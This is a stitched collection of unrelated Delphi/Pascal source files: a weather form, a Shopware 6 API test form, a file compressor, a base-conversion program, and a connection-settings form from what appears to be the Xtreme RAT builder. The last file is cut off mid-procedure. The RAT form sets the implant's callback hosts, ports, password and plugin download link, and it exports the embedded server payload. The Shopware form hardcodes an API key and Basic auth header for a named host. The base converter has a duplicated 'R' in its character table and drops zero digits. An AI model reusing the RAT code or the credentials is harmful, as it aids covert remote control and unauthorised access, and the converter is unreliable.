procedure TFormWeatherDsk.ButtonFavsGetClick(Sender: TObject);
begin
RefreshFavs;
end;
procedure TFormWeatherDsk.ShowWeatherInfo(info: TWeatherInfo);
begin
Log('Location: ' + info.LocName);
Log('Code: ' + info.LocCode);
Log('Latitude: ' + info.LocLatitude.ToString);
Log('Longitude: ' + info.LocLongitude.ToString);
Log('Altitude: ' + info.LocAltitude.ToString);
Log('Time: ' + info.Time);
Log('DateTimeUTC: ' + info.DateTimeUTC.ToString);
Log('Wind: ' + info.Wind);
Log('Wind Dir: ' + info.WindDir.ToString);
Log('Wind Speed: ' + info.WindSpeed.ToString);
Log('Visibility: ' + info.Visibility);
Log('SkyConditions: ' + info.SkyConditions);
Log('TempF: ' + info.TempF.ToString);
Log('TempC: ' + info.TempC.ToString);
Log('Dew Point: ' + info.DewPoint);
Log('Relative Humidity: ' + info.RelativeHumidity.ToString);
Log('Pressure Hg: ' + info.PressureHg.ToString);
Log('Pressure hPa: ' + info.PressurehPa.ToString);
Log('Status: ' + info.Status);
Log('==================================');
end;
procedure TFormWeatherDsk.ButtonGetWeatherClick(Sender: TObject);
var i: integer; city, country: string; w: TWeatherRec; info: TWeatherInfo;
aFavs: TCityCountryDynArray;
begin
DMWeather.UpdateWeather;
Memo1.Lines.Clear;
Log('==================================');
Log('Last updated: ' + DateTimeToStr(Now));
Log('==================================');
aFavs := DMWeather.FavoritesGet;
try
for i := 0 to Length(aFavs)-1 do
begin
if DMWeather.GetWeatherInfo(aFavs[i],info) then
ShowWeatherInfo(info)
else
begin
Log('Data not found for "' + aFavs[i].city + '"');
Log('==================================');
end;
end;
finally
Finalize(aFavs);
end;
// ShowMessage(IntToStr(DMWeather.cdsWeather.RecordCount));
end;
end.
|
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, IdHttp,
idSSLOpenSSL, Restclient, Shopware5Client, httpConnection, o_onlineShopShopware5,
Shopware5Objects, System.Generics.Collections, o_onlineshopware6;
type
TForm1 = class(TForm)
Panel1: TPanel;
btn_Get: TButton;
Memo1: TMemo;
btn_Connect: TButton;
btn_NewCustomer: TButton;
btn_Categories: TButton;
btn_Kunden: TButton;
btn_Bestellung: TButton;
btn_Artikel: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btn_GetClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure btn_ConnectClick(Sender: TObject);
procedure btn_NewCustomerClick(Sender: TObject);
procedure btn_CategoriesClick(Sender: TObject);
procedure btn_KundenClick(Sender: TObject);
procedure btn_BestellungClick(Sender: TObject);
procedure btn_ArtikelClick(Sender: TObject);
private
FIdHttp : TIdHTTP;
fRest : TRestClient;
fClient : TShopware5Client;
fBaseUrl: string;
fUser: string;
fAppKey: string;
onlineShop : TOnlineShopShopware5;
fOnlineShop6: TOnlineShopware6;
function Connect: boolean;
public
property BaseUrl: string read fBaseUrl write fBaseUrl;
property User: string read fUser write fUser;
property AppKey: string read fAppKey write fAppKey;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
uses
Shopware6.Objekt.Category, Shopware6.Objekt.Customer, Shopware6.Objekt.Order,
Shopware6.Objekt.Artikel;
procedure TForm1.FormCreate(Sender: TObject);
begin
{
FIdHttp := TIdHTTP.Create(nil);
FIdHttp.IOHandler := TIdSSLIOHandlerSocketOpenSSL.Create(FIdHttp);
FIdHttp.HandleRedirects := True;
FIdHttp.Request.CustomHeaders.FoldLines := false;
FIdHttp.HTTPOptions := [hoForceEncodeParams, hoInProcessAuth];
FIdHttp.Request.Accept := 'application/json';
FIdHttp.Request.ContentType := '';
FIdHttp.Request.AcceptLanguage := '';
FIdHttp.ConnectTimeout := 60000;
FIdHttp.ReadTimeout := 30000;
FIdHttp.Request.Authentication.Free;
FIdHttp.Request.Authentication := nil;
FIdHttp.Request.CustomHeaders.Clear;
FIdHttp.Request.CustomHeaders.AddValue('Authorization', 'Basic b3B0aW1hOnhEblp5R1c5azk1NkRmUk03VXdNTFpsczg5OFRjd3FvOWRBUGdUbVA=');
fRest := TRestClient.Create(nil);
fRest.EnabledCompression := false;
fRest.ConnectionType := hctIndy;
//fRest.SetCredentials(User, AppKey);
//fRest.BaseUrl := fBaseUrl + '/';
fClient := TShopware5Client.Create(fRest);
onlineShop := TOnlineShopShopware5.Create;
}
fOnlineShop6 := TOnlineShopware6.Create;
fOnlineShop6.BaseUrl := 'http://vhs.ynot-gmbh.de/api';
fOnlineShop6.User := 'optima';
fOnlineShop6.AppKey := 'xDnZyGW9k956DfRM7UwMLZls898Tcwqo9dAPgTmP';
fOnlineShop6.GBId := 10;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
//FreeAndNil(fIdHttp);
//FreeAndNil(onlineShop);
FreeAndNil(fOnlineShop6);
end;
// connected := shop.Connect;
procedure TForm1.FormShow(Sender: TObject);
begin
{
TOnlineShopShopware5(onlineShop).BaseUrl := 'http://vhs.ynot-gmbh.de/api';
TOnlineShopShopware5(onlineShop).User := 'optima';
TOnlineShopShopware5(onlineShop).AppKey := 'xDnZyGW9k956DfRM7UwMLZls898Tcwqo9dAPgTmP';
TOnlineShopShopware5(onlineShop).Geschaeftsbereich := 10;
}
end;
procedure TForm1.btn_CategoriesClick(Sender: TObject);
var
//catList: TList<TShopware6Category>;
catList: TList<TShopware6Category>;
cat: TShopware6Category;
i1: Integer;
begin
// Memo1.Lines.Text := fOnlineShop6.Categories;
Memo1.Clear;
//catList := fOnlineShop6.CategoriesList;
catList := fOnlineShop6.Client.Category.List('');
if catList = nil then
exit;
for Cat in CatList do
Memo1.Lines.Add(IntToStr(Cat.id) + '=' + Cat.Name);
for i1 := catList.Count -1 downto 0 do
begin
cat := catList.Items[i1];
FreeAndNil(cat);
end;
FreeAndNil(catList);
end;
procedure TForm1.btn_ConnectClick(Sender: TObject);
begin
onlineShop.Connect;
Memo1.Clear;
Memo1.Lines.Text := 'Connected';
end;
procedure TForm1.btn_GetClick(Sender: TObject);
var
vResponse: TStringStream;
Url: string;
begin //http://vhs.ynot-gmbh.de/api/customers?filter[0][property]=number&filter[0][value]<1
//Url := 'http://www.ynot-shop.de/api/customers?filter[0][property]=number&filter[0][value]<1';
Url := 'https://vhs.ynot-gmbh.de/api/customers?filter[0][property]=number&filter[0][value]<1';
vResponse := TStringStream.Create('');
try
FIdHttp.Get(Url, vResponse);
vResponse.Position := 0;
Memo1.Lines.LoadFromStream(vResponse);
finally
FreeAndNil(vResponse);
end;
end;
procedure TForm1.btn_KundenClick(Sender: TObject);
var
customer: TShopware6Customer;
customer2: TShopware6Customer;
newCustomers: TList<TShopware6Customer>;
i1: Integer;
begin
Memo1.Clear;
newCustomers := fOnlineShop6.Client.Customer.List('?filter[0][property]=number&filter[0][value]<1');
for customer in newCustomers do
begin
customer2 := fOnlineShop6.Client.Customer.Get(customer.id);
if customer2.defaultBillingAddress <> nil then
Memo1.Lines.Add(IntToStr(customer.id) + ' ' + Customer.number + ' ' + customer.Firstname + ' ' + customer.lastname + ' ' + customer2.defaultBillingAddress.City);
if customer.defaultBillingAddress <> nil then
Memo1.Lines.Add(IntToStr(customer.id) + ' ' + Customer.number + ' ' + customer.Firstname + ' ' + customer.lastname + ' ' + customer.defaultBillingAddress.City);
if (customer.defaultBillingAddress = nil) and (customer2.defaultBillingAddress = nil) then
Memo1.Lines.Add(IntToStr(customer.id) + ' ' + Customer.number + ' ' + customer.Firstname + ' ' + customer.lastname);
FreeAndNil(customer2);
end;
for i1 := newCustomers.Count -1 downto 0 do
begin
Customer := newCustomers.Items[i1];
FreeAndNil(Customer);
end;
FreeAndNil(newCustomers);
end;
procedure TForm1.btn_NewCustomerClick(Sender: TObject);
//var
// newCustomers: TList<TShopware5Customer>;
begin
Memo1.Clear;
Memo1.Lines.Add('---------------- Lese Kunden (Start)');
Memo1.Lines.Add('');
onlineShop.ImportKunden2(Memo1.Lines);
Memo1.Lines.Add('');
Memo1.Lines.Add('---------------- Lese Kunden (Ende)');
end;
function TForm1.Connect: boolean;
begin
fRest.EnabledCompression := false;
fRest.ConnectionType := hctIndy;
fRest.SetCredentials(User, AppKey);
fRest.BaseUrl := fBaseUrl + '/';
result := false;
// Ist der Webshop erreichbar?
// Nicht schön aber muss erstmal so.
fClient.categories.List;
result := true;
end;
procedure TForm1.btn_ArtikelClick(Sender: TObject);
var
Article: TShopware6Article;
Image: TShopware6Image;
i1: Integer;
begin
Memo1.Lines.Clear;
Article := fOnlineShop6.Client.Articles.GetByNumber('19604');
if Article = nil then
exit;
Caption := IntToStr(Article.id);
{
for i1 := 0 to Article.images.Count -1 do
begin
Memo1.Lines.Add(IntToStr(Article.Images[i1].mediaId) + ' / ' + Article.Images[i1].Link);
end;
}
//fOnlineShop6.Client.Articles.DeleteArtikelImage(19826);
article.Clear_Categories(article.categories);
article.Clear_Images(article.images);
article.categories.Add(TShopware6Category.Create);
article.categories[0].id := 484;
i1 := fOnlineShop6.Client.Articles.Update(Article);
Memo1.Lines.Add('Update ' + IntToStr(i1));
FreeAndNil(Article);
end;
procedure TForm1.btn_BestellungClick(Sender: TObject);
var
orders: TList<TShopware6Order>;
order: TShopware6Order;
i1: Integer;
begin
i1 := fOnlineShop6.ImportBestellungen;
Caption := 'Es wurden ' + IntToStr(i1) + ' Bestellungen importiert';
exit;
Memo1.Clear;
orders := fOnlineShop6.Client.order.List('?filter[0][property]=status&filter[0][value]=0');
for order in orders do
begin
Memo1.Lines.Add(order.number);
end;
for i1 := orders.Count -1 downto 0 do
begin
order := orders.Items[i1];
FreeAndNil(order);
end;
FreeAndNil(orders);
end;
end.
|
unit UCompressFile;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ComCtrls;
type
TFCompressFile = class(TForm)
EditFile: TEdit;
cmdCompress: TButton;
lblFile: TLabel;
SbFile: TSpeedButton;
OpenDialog: TOpenDialog;
cmbLevel: TComboBox;
lblLevel: TLabel;
cmdUncompress: TButton;
procedure cmdCompressClick(Sender: TObject);
procedure SbFileClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure cmdUncompressClick(Sender: TObject);
private
{ Private declarations }
gsExePath : string;
public
{ Public declarations }
end;
var
FCompressFile: TFCompressFile;
implementation
{$R *.dfm}
uses UtilityPasZlib;
procedure TFCompressFile.SbFileClick(Sender: TObject);
var
sPath: string;
begin
with OpenDialog do
begin
DefaultExt:='';
Options:=[ofFileMustExist];
sPath:=ExtractFilePath(EditFile.Text);
if sPath=''
then sPath:=gsExePath;
InitialDir:=sPath;
FileName:='';
if Execute
then
begin
if UpperCase(gsExePath)=UpperCase(ExtractFilePath(FileName))
then EditFile.Text:=ExtractFileName(FileName)
else EditFile.Text:=FileName;
end;
end;
end;
procedure TFCompressFile.FormCreate(Sender: TObject);
begin
gsExePath:=ExtractFilePath(Application.ExeName);
end;
function CutExt(s: string): string;
begin
Result:=Copy(s,1,length(s)-length(ExtractFileExt(s)));
end;
procedure TFCompressFile.cmdCompressClick(Sender: TObject);
var
sFilename: string;
Level: TCompLevel;
begin
Screen.Cursor:=crHourGlass;
Level:=clDefault;
try
sFilename:=trim(EditFile.Text);
if sFilename<>''
then
begin
if cmbLevel.Text='Fastest'
then Level:=clNone
else
if cmbLevel.Text='Max'
then Level:=clMax;
CompressFile(sFilename,sFilename+'.zip',Level);
ShowMessage('File successfully compressed!');
end;
finally
Screen.Cursor:=crDefault;
end;
end;
procedure TFCompressFile.cmdUncompressClick(Sender: TObject);
var
sFilename, sDestFile: string;
begin
Screen.Cursor:=crHourGlass;
try
sFilename:=trim(EditFile.Text);
if sFilename<>''
then
begin
sDestFile:=sFilename;
if UpperCase(ExtractFileExt(sFileName))<>'.ZIP'
then
begin
sDestFile:=sFilename;
sFilename:=sDestFile+'.zip';
end
else sDestFile:=CutExt(sFilename);
UnCompressFile(sFilename,sDestFile);
ShowMessage('File successfully uncompressed!');
end;
finally
Screen.Cursor := crDefault;
end;
end;
end.
|
program base2to36;
(*String mit Characters die verwendet werden dürfen*)
const possibleCharacters : String = '0123456789ABCDEFGHIJKLMNOPRRSTUVWXYZ';
(*Funktion für x^y*)
function powerFn (number, expo: Real): Real;
begin
powerFn := Exp(Expo*Ln(Number));
end;
(*Liefert Position des gesuchten Elementes in einem String zurück*)
function getPosofElement (e : char; s : string): Integer;
var i, count : Integer;
begin
count := 0;
for i := 1 to Length(s) do
if e = s[i] then exit(count)
else count := count +1;
getPosofElement := count;
end;
(*Ueberprueft ob ein Zeichen in einem String vorhanden ist*)
function stringContains(digits : string; c2 : char): Boolean;
var i : Integer;
begin
for i := 1 to Length(digits) do begin
if digits[i] = c2 then exit(True);
end;
stringContains := False;
end;
(*Gueltigkeitsueberpruefung ob für die jeweilige Basis die erlaubten Zeichen im String enthalten sind*)
function checkIfValid(digits: String; base: Integer; var count: Integer): Boolean;
var i : Integer;
begin
count := 0;
if (base >= 2) and (base <= 36) then
begin
for i := 1 + base to 36 do
begin
if stringContains(digits, possibleCharacters[i]) then exit(False);
end;
checkIfValid := True;
end
else
checkIfValid := False;
end;
(*Liefert den Wert des String Inhaltes von beliebieger Basis in Basis 10 zurück*)
function ValueOf(digits: String; base: Integer): Integer;
var count, i, expo : Integer;
var value : Real;
begin
if checkIfValid(digits, base, count) then begin
value := 0;
expo := 0;
for i:= Length(digits) downto 1 do begin
value := value + getPosofElement(digits[i],possibleCharacters) * powerFn(base,expo);
expo := expo + 1;
end
end
else
exit(-1);
ValueOf := Trunc(value);
end;
(*Liefert String mit Ziffernfolge für beliebige Basis*)
function DigitsOf(value: Integer; base: Integer): string;
var result : string;
begin
result := '';
if value < 0 then DigitsOf := 'ERROR'
else
begin
while value > 0 do
begin
(*an den String wird ein Zeichen mit einer bestimmten Wertigekeit in der Basis 10 angehängt*)
if value mod base > 0 then result := Concat(possibleCharacters[(value mod base)+1], result);
value := value DIV base;
end;
end;
DigitsOf := result;
end;
function sum(d1: STRING; b1: INTEGER; d2: STRING; b2: INTEGER): INTEGER;
begin
sum := ValueOf(d1,b1) + ValueOf(d2,b2);
end;
function diff(d1: STRING; b1: INTEGER; d2: STRING; b2: INTEGER): INTEGER;
begin
diff := ValueOf(d1,b1) - ValueOf(d2,b2);
end;
function prod(d1: STRING; b1: INTEGER; d2: STRING; b2: INTEGER): INTEGER;
begin
prod := ValueOf(d1,b1) * ValueOf(d2,b2);
end;
function quot(d1: STRING; b1: INTEGER; d2: STRING; b2: INTEGER): INTEGER;
begin
quot := ValueOf(d1,b1) div ValueOf(d2,b2);
end;
begin
WriteLn('-- base2to36 --');
WriteLn('ValueOf');
WriteLn('23672 Basis 10');
WriteLn(ValueOf('23672',10));
WriteLn('4DF8 Basis 17');
WriteLn(ValueOf('4DF8',17));
WriteLn('1LH5 Basis 23');
WriteLn(ValueOf('1LH5',23));
WriteLn('DigitsOf');
WriteLn('23672 Basis 28');
WriteLn(DigitsOf(23672,28));
WriteLn('diff of 1234 in Basis 12');
WriteLn(diff('1234',12,'1234',12));
WriteLn('prod of 1234 in Basis 12');
WriteLn(prod('1234',12,'1234',12));
WriteLn('Sum of 1234 in Basis 12');
WriteLn(sum('1234',12,'1234',12));
WriteLn('quot of 1234 in Basis 12');
WriteLn(quot('1234',12,'1234',12));
end. |
unit UnitConnectionSettings;
{$I Compilar.inc}
interface
uses
StrUtils,Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, ImgList, Buttons, Menus, ExtCtrls, sPanel, unitMain;
type
TFormConnectionSettings = class(TForm)
MainPanel: TsPanel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
SpeedButton2: TSpeedButton;
SpeedButton1: TSpeedButton;
ListView1: TListView;
Edit1: TEdit;
CheckBox1: TCheckBox;
Edit2: TEdit;
Edit3: TEdit;
ImageList32: TImageList;
ImageList16: TImageList;
PopupMenu1: TPopupMenu;
AdicionarDNS1: TMenuItem;
ExcluirDNS1: TMenuItem;
N1: TMenuItem;
EditarDNS1: TMenuItem;
CheckBox2: TCheckBox;
Edit4: TEdit;
Label4: TLabel;
SaveDialog1: TSaveDialog;
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure ListView1SelectItem(Sender: TObject; Item: TListItem;
Selected: Boolean);
procedure FormDestroy(Sender: TObject);
procedure AdicionarDNS1Click(Sender: TObject);
procedure ExcluirDNS1Click(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure EditarDNS1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure Edit1Change(Sender: TObject);
procedure Edit2KeyPress(Sender: TObject; var Key: Char);
procedure CheckBox2Click(Sender: TObject);
procedure Label4Click(Sender: TObject);
private
{ Private declarations }
procedure WMAtualizarIdioma(var Message: TMessage); message WM_ATUALIZARIDIOMA;
public
{ Public declarations }
procedure AtualizarIdiomas;
end;
var
FormConnectionSettings: TFormConnectionSettings;
implementation
{$R *.dfm}
uses
UnitStrings,
UnitConstantes,
UnitCommonProcedures,
UnitConfigs;
//procedure WMAtualizarIdioma(var Message: TMessage); message WM_ATUALIZARIDIOMA;
procedure TFormConnectionSettings.WMAtualizarIdioma(var Message: TMessage);
begin
AtualizarIdiomas;
end;
function GetAveCharSize(Canvas: TCanvas): TPoint;
var
I: Integer;
Buffer: array[0..51] of Char;
begin
for I := 0 to 25 do Buffer[I] := Chr(I + Ord('A'));
for I := 0 to 25 do Buffer[I + 26] := Chr(I + Ord('a'));
GetTextExtentPoint(Canvas.Handle, Buffer, 52, TSize(Result));
Result.X := Result.X div 52;
end;
function InputQuery(const ACaption, APrompt: string;
var Value: string; EditMaxLength: integer = 0): Boolean;
var
Form: TForm;
Prompt: TLabel;
Edit: TEdit;
DialogUnits: TPoint;
ButtonTop, ButtonWidth, ButtonHeight: Integer;
WasStayOnTop: boolean;
begin
Result := False;
Form := TForm.Create(Application);
with Form do
try
FormStyle := fsStayOnTop;
Canvas.Font := Font;
DialogUnits := GetAveCharSize(Canvas);
BorderStyle := bsDialog;
Caption := ACaption;
ClientWidth := MulDiv(180, DialogUnits.X, 4);
PopupMode := pmAuto;
Position := poScreenCenter;
Prompt := TLabel.Create(Form);
with Prompt do
begin
Parent := Form;
Caption := APrompt;
Left := MulDiv(8, DialogUnits.X, 4);
Top := MulDiv(8, DialogUnits.Y, 8);
Constraints.MaxWidth := MulDiv(164, DialogUnits.X, 4);
WordWrap := True;
end;
Edit := TEdit.Create(Form);
with Edit do
begin
Parent := Form;
Left := Prompt.Left;
Top := Prompt.Top + Prompt.Height + 5;
Width := MulDiv(164, DialogUnits.X, 4);
if (EditMaxLength = 0) or (EditMaxLength > 255) then MaxLength := 255 else MaxLength := EditMaxLength;
Text := Value;
SelectAll;
end;
ButtonTop := Edit.Top + Edit.Height + 15;
ButtonWidth := MulDiv(50, DialogUnits.X, 4);
ButtonHeight := MulDiv(14, DialogUnits.Y, 8);
with TButton.Create(Form) do
begin
Parent := Form;
Caption := 'OK';
ModalResult := mrOk;
Default := True;
SetBounds(MulDiv(38, DialogUnits.X, 4), ButtonTop, ButtonWidth,
ButtonHeight);
end;
with TButton.Create(Form) do
begin
Parent := Form;
Caption := 'Cancel';
ModalResult := mrCancel;
Cancel := True;
SetBounds(MulDiv(92, DialogUnits.X, 4), Edit.Top + Edit.Height + 15,
ButtonWidth, ButtonHeight);
Form.ClientHeight := Top + Height + 13;
end;
WasStayOnTop := Assigned(Application.MainForm) and (Application.MainForm.FormStyle = fsStayOnTop);
if WasStayOnTop then Application.MainForm.FormStyle := fsNormal;
try
if ShowModal = mrOk then
begin
Value := Edit.Text;
Result := True;
end;
finally if WasStayOnTop then Application.MainForm.FormStyle := fsStayOnTop;
end;
finally
Form.Free;
end;
end;
procedure TFormConnectionSettings.AdicionarDNS1Click(Sender: TObject);
begin
SpeedButton1.Click;
end;
procedure TFormConnectionSettings.AtualizarIdiomas;
begin
ListView1.Column[0].Caption := Traduzidos[39];
ListView1.Column[1].Caption := Traduzidos[40];
AdicionarDNS1.Caption := Traduzidos[41];
ExcluirDNS1.Caption := Traduzidos[42];
EditarDNS1.Caption := Traduzidos[43];
SpeedButton1.Hint := AdicionarDNS1.Caption;
SpeedButton2.Hint := ExcluirDNS1.Caption;
Label1.Caption := Traduzidos[44] + ':';
Label2.Caption := Traduzidos[45] + ':';
Label3.Caption := Traduzidos[46] + ':';
CheckBox1.Caption := Traduzidos[47];
CheckBox2.Caption := Traduzidos[653];
Label4.Caption := Traduzidos[654];
end;
procedure TFormConnectionSettings.CheckBox1Click(Sender: TObject);
begin
if TCheckBox(sender).Checked then
Edit1.PasswordChar := #0 else Edit1.PasswordChar := '*';
end;
procedure TFormConnectionSettings.CheckBox2Click(Sender: TObject);
begin
Edit4.Enabled := CheckBox2.Checked;
Label4.Enabled := Edit4.Enabled;
end;
procedure TFormConnectionSettings.Edit1Change(Sender: TObject);
begin
if Edit1.Text = '' then Edit1.Text := '0';
end;
procedure TFormConnectionSettings.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
if CheckValidName(Key) = False then Key := #0;
end;
procedure TFormConnectionSettings.EditarDNS1Click(Sender: TObject);
var
TempStr: string;
TempDNS: string;
i: integer;
EditSize: integer;
begin
if ListView1.Selected = nil then exit;
EditSize := (SizeOf(ConfiguracoesServidor.DNS[0]) div 2) - 1;
TempStr := ListView1.Selected.Caption + ':' + ListView1.Selected.SubItems.Strings[0];
if Inputquery(traduzidos[39], traduzidos[102] + ':', TempStr, EditSize) = false then exit;
if posex(':', TempStr) <= 0 then
begin
MessageBox(Handle,
pwidechar(traduzidos[103]),
pWideChar(NomeDoPrograma + ' ' + VersaoDoPrograma),
MB_OK or MB_ICONWARNING or MB_SYSTEMMODAL or MB_SETFOREGROUND or MB_TOPMOST);
exit;
end;
TempDNS := Copy(TempStr, 1, posex(':', TempStr) - 1);
Delete(TempStr, 1, posex(':', TempStr));
try
i := StrToInt(TempStr);
except
i := 0;
end;
if (i <= 0) or (i > 65535) then
begin
MessageBox(Handle,
pwidechar(traduzidos[104]),
pWideChar(NomeDoPrograma + ' ' + VersaoDoPrograma),
MB_OK or MB_ICONWARNING or MB_SYSTEMMODAL or MB_SETFOREGROUND or MB_TOPMOST);
exit;
end;
ListView1.Selected.Caption := TempDNS;
ListView1.Selected.SubItems.Strings[0] := inttostr(i);
end;
procedure TFormConnectionSettings.ExcluirDNS1Click(Sender: TObject);
begin
SpeedButton2.Click;
end;
procedure TFormConnectionSettings.FormCreate(Sender: TObject);
begin
Self.Left := (screen.width - Self.width) div 2 ;
Self.top := (screen.height - Self.height) div 2;
ImageList32.GetBitmap(0, SpeedButton1.Glyph);
ImageList32.GetBitmap(1, SpeedButton2.Glyph);
Edit1.MaxLength := 10;
Edit2.MaxLength := (SizeOf(ConfiguracoesServidor.ServerID) div 2) - 1;
Edit3.MaxLength := (SizeOf(ConfiguracoesServidor.GroupID) div 2) - 1;
Edit4.MaxLength := 122;
end;
procedure TFormConnectionSettings.FormDestroy(Sender: TObject);
var
Item: TListItem;
i: integer;
TempStr: string;
begin
{$IFDEF XTREMETRIAL}
ConfiguracoesServidor.Ports[0] := 81;
ConfiguracoesServidor.DNS[0] := '127.0.0.1';
{$ELSE}
for I := 0 to NUMMAXCONNECTION - 1 do
if ListView1.Items.Item[i] <> nil then
begin
Item := ListView1.Items.Item[i];
ConfiguracoesServidor.DNS[i] := StrToArray(Item.Caption);
ConfiguracoesServidor.Ports[i] := StrToInt(Item.SubItems.Strings[0]);
end else
begin
ZeroMemory(@ConfiguracoesServidor.DNS[i], SizeOf(ConfiguracoesServidor.DNS[i]));
ConfiguracoesServidor.Ports[i] := 0;
end;
{$ENDIF}
ConfiguracoesServidor.Password := StrToInt(Edit1.Text);
ConfiguracoesServidor.ServerID := StrToLowArray(Edit2.Text);
ConfiguracoesServidor.GroupID := StrToLowArray(Edit3.Text);
ConfiguracoesServidor.DownloadPlugin := CheckBox2.Checked;
ZeroMemory(@ConfiguracoesServidor.PluginLink, SizeOf(ConfiguracoesServidor.PluginLink));
if CheckBox2.Checked = True then
begin
TempStr := Edit4.Text;
CopyMemory(@ConfiguracoesServidor.PluginLink, @TempStr[1], Length(TempStr) * 2);
end;
end;
procedure TFormConnectionSettings.FormShow(Sender: TObject);
var
i: integer;
Item: TListItem;
begin
AtualizarIdiomas;
Edit1.SetFocus;
ListView1.Items.Clear;
SpeedButton2.Visible := False;
for I := 0 to NUMMAXCONNECTION - 1 do
if (ConfiguracoesServidor.Ports[i] > 0) and
(ConfiguracoesServidor.DNS[i] <> '') then
begin
Item := ListView1.Items.Add;
Item.Caption := ConfiguracoesServidor.DNS[i];
Item.SubItems.Add(IntToStr(ConfiguracoesServidor.Ports[i]));
end;
Edit1.Text := IntToStr(ConfiguracoesServidor.Password);
Edit2.Text := ConfiguracoesServidor.ServerID;
Edit3.Text := ConfiguracoesServidor.GroupID;
Edit4.Text := ConfiguracoesServidor.PluginLink;
CheckBox1.Checked := False;
CheckBox2.Checked := ConfiguracoesServidor.DownloadPlugin;
CheckBox2Click(CheckBox2);
end;
Procedure CriarArquivo(NomedoArquivo: pWideChar; Buffer: pWideChar; Size: int64);
var
hFile: THandle;
lpNumberOfBytesWritten: DWORD;
begin
hFile := CreateFile(NomedoArquivo, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
if hFile <> INVALID_HANDLE_VALUE then
begin
if Size = INVALID_HANDLE_VALUE then
SetFilePointer(hFile, 0, nil, FILE_BEGIN);
WriteFile(hFile, Buffer[0], Size, lpNumberOfBytesWritten, nil);
end;
CloseHandle(hFile);
end;
procedure TFormConnectionSettings.Label4Click(Sender: TObject);
var
PluginFile: string;
ServerBuffer: string;
BufferSize: int64;
resStream: TResourceStream;
begin
SaveDialog1.Title := NomeDoPrograma + ' ' + VersaoDoPrograma;
SaveDialog1.InitialDir := ExtractFilePath(Paramstr(0));
SaveDialog1.FileName := 'plugin.xtr';
SaveDialog1.Filter := 'Xtreme RAT Plugin(*.xtr)|*.xtr';
if SaveDialog1.Execute = false then exit;
PluginFile := SaveDialog1.FileName;
resStream := TResourceStream.Create(hInstance, 'SERVER', 'serverfile');
BufferSize := resStream.Size;
SetLength(ServerBuffer, BufferSize div 2);
resStream.Position := 0;
resStream.Read(ServerBuffer[1], BufferSize);
resStream.Free;
// Se quiser enviar desencriptado...
//EnDecryptStrRC4B(@ServerBuffer[1], Length(ServerBuffer) * 2, 'XTREME');
ServerBuffer := ServerBuffer + 'ENDSERVERBUFFER';
DeleteFile(PluginFile);
CriarArquivo(pwChar(PluginFile), pwChar(ServerBuffer), Length(ServerBuffer) * 2);
if FileExists(PluginFile) then
MessageBox(Handle,
pwidechar(traduzidos[655]),
pWideChar(NomeDoPrograma + ' ' + VersaoDoPrograma),
MB_OK or MB_ICONINFORMATION or MB_SYSTEMMODAL or MB_SETFOREGROUND or MB_TOPMOST) else
MessageBox(Handle,
pwidechar(traduzidos[656]),
pWideChar(NomeDoPrograma + ' ' + VersaoDoPrograma),
MB_OK or MB_ICONERROR or MB_SYSTEMMODAL or MB_SETFOREGROUND or MB_TOPMOST);
end;
procedure TFormConnectionSettings.ListView1SelectItem(Sender: TObject;
Item: TListItem; Selected: Boolean);
begin
if ListView1.Selected = nil then
begin
SpeedButton2.Visible := False;
AdicionarDNS1.Enabled := True;
ExcluirDNS1.Enabled := False;
EditarDNS1.Enabled := ExcluirDNS1.Enabled;
exit;
end;
if ListView1.SelCount = 1 then
begin
SpeedButton2.Visible := True;
AdicionarDNS1.Enabled := True;
ExcluirDNS1.Enabled := True;
EditarDNS1.Enabled := ExcluirDNS1.Enabled;
end else
begin
SpeedButton2.Visible := True;
AdicionarDNS1.Enabled := True;
ExcluirDNS1.Enabled := True;
EditarDNS1.Enabled := False;
end;
end;
procedure TFormConnectionSettings.SpeedButton1Click(Sender: TObject);
var
TempStr: string;
TempDNS: string;
i, j: integer;
Item: TListItem;
EditSize: integer;
begin
{$IFDEF XTREMETRIAL}
if ListView1.Items.Count >= 1 then
{$ELSE}
if ListView1.Items.Count >= NUMMAXCONNECTION then
{$ENDIF}
begin
MessageBox(Handle,
{$IFDEF XTREMETRIAL}
pwidechar(traduzidos[101] + ' ' + inttostr(1)),
{$ELSE}
pwidechar(traduzidos[101] + ' ' + inttostr(NUMMAXCONNECTION)),
{$ENDIF}
pWideChar(NomeDoPrograma + ' ' + VersaoDoPrograma),
MB_OK or MB_ICONWARNING);
exit;
end;
EditSize := (SizeOf(ConfiguracoesServidor.DNS[0]) div 2) - 1;
TempStr := '127.0.0.1:81';
if Inputquery(traduzidos[39], traduzidos[102] + ':', TempStr, EditSize) = false then exit;
if posex(':', TempStr) <= 0 then
begin
MessageBox(Handle,
pwidechar(traduzidos[103]),
pWideChar(NomeDoPrograma + ' ' + VersaoDoPrograma),
MB_OK or MB_ICONWARNING or MB_SYSTEMMODAL or MB_SETFOREGROUND or MB_TOPMOST);
exit;
end;
TempDNS := Copy(TempStr, 1, posex(':', TempStr) - 1);
Delete(TempStr, 1, posex(':', TempStr));
try
i := StrToInt(TempStr);
except
i := 0;
end;
if (i <= 0) or (i > 65535) then
begin
MessageBox(Handle,
pwidechar(traduzidos[104]),
pWideChar(NomeDoPrograma + ' ' + VersaoDoPrograma),
MB_OK or MB_ICONWARNING);
exit;
end;
for j := 0 to ListView1.Items.Count - 1 do
begin
if (ListView1.Items.Item[j].Caption = TempDNS) and
